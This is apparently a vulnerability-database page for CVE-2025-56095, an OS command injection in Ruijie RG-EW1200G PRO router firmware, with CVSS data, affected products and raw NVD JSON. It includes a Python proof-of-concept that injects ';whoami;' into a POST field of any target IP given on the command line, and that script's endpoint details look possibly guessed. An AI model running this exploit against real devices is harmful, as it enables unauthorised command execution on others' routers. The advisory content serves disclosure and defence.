Security Vulnerability Report
中文
CVE-2025-56095 CVSS 8.8 HIGH

CVE-2025-56095

Published: 2025-12-11 19:15:55
Last Modified: 2026-01-27 17:44:40

Description

OS Command Injection vulnerability in Ruijie RG-EW1200G PRO RG-EW1200G PRO V1.00/V2.00/V3.00/V4.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew1200g_pro_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:3.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:4.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\(1\)b2p55:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1200G PRO V1.00
Ruijie RG-EW1200G PRO V2.00
Ruijie RG-EW1200G PRO V3.00
Ruijie RG-EW1200G PRO V4.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56095 PoC - Ruijie RG-EW1200G PRO Command Injection # Target: Ruijie RG-EW1200G PRO (V1.00/V2.00/V3.00/V4.00) # Vulnerability: OS Command Injection in module_set endpoint def exploit_cve_2025_56095(target_ip, target_port=80): """ Exploit for CVE-2025-56095: OS Command Injection in Ruijie RG-EW1200G PRO Args: target_ip: Target device IP address target_port: Target device web interface port (default: 80) Returns: bool: True if exploitation successful, False otherwise """ url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/nbr_cwmp/module_set" # Payload to execute arbitrary command (whoami) # The actual vulnerability is in the module_set parameter handling payload = ";whoami;" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } data = { 'module': 'cwmp', 'action': 'set', 'param': payload # Command injection point } try: print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Sending malicious request to {url}") print(f"[*] Payload: {payload}") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body:\n{response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_56095(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56095", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:55.397", "lastModified": "2026-01-27T17:44:39.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1200G PRO RG-EW1200G PRO V1.00/V2.00/V3.00/V4.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1200g_pro_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "0FE4961A-D302-485D-95EE-9B4F6A334AD4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "76D20D6E-9617-49BA-BE00-524954642206"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "D7437E1D-1574-45FD-83D7-9F7A705BB117"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:3.0:*:*:*:*:*:*:*", "matchCriteriaId": "A8BD8D2D-707F-45C4-9E29-A0CC22D94F1C"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "7E14C332-0BE9-49DC-8FE8-37069F691528"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\\(1\\)b2p55:*:*:*:*:*:*:*", "matchCriteriaId": "54D9F162-AE62-405B-BACF-95AB35C3F94B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:*", "matchCriteriaId": "43BC34C1-E257-4D67-ABA4-2AA6DD533275"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EkH0xWseMXBJg-Ck_uD34fcB-3pDo3MAQc2AKNlXqwYr2w?e=GU9l62", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EQgGsVREbAJEv4dCG7LAzoYBUiS4nCjWKun_QhenDHzU0Q?e=Ly0lll", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56095.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}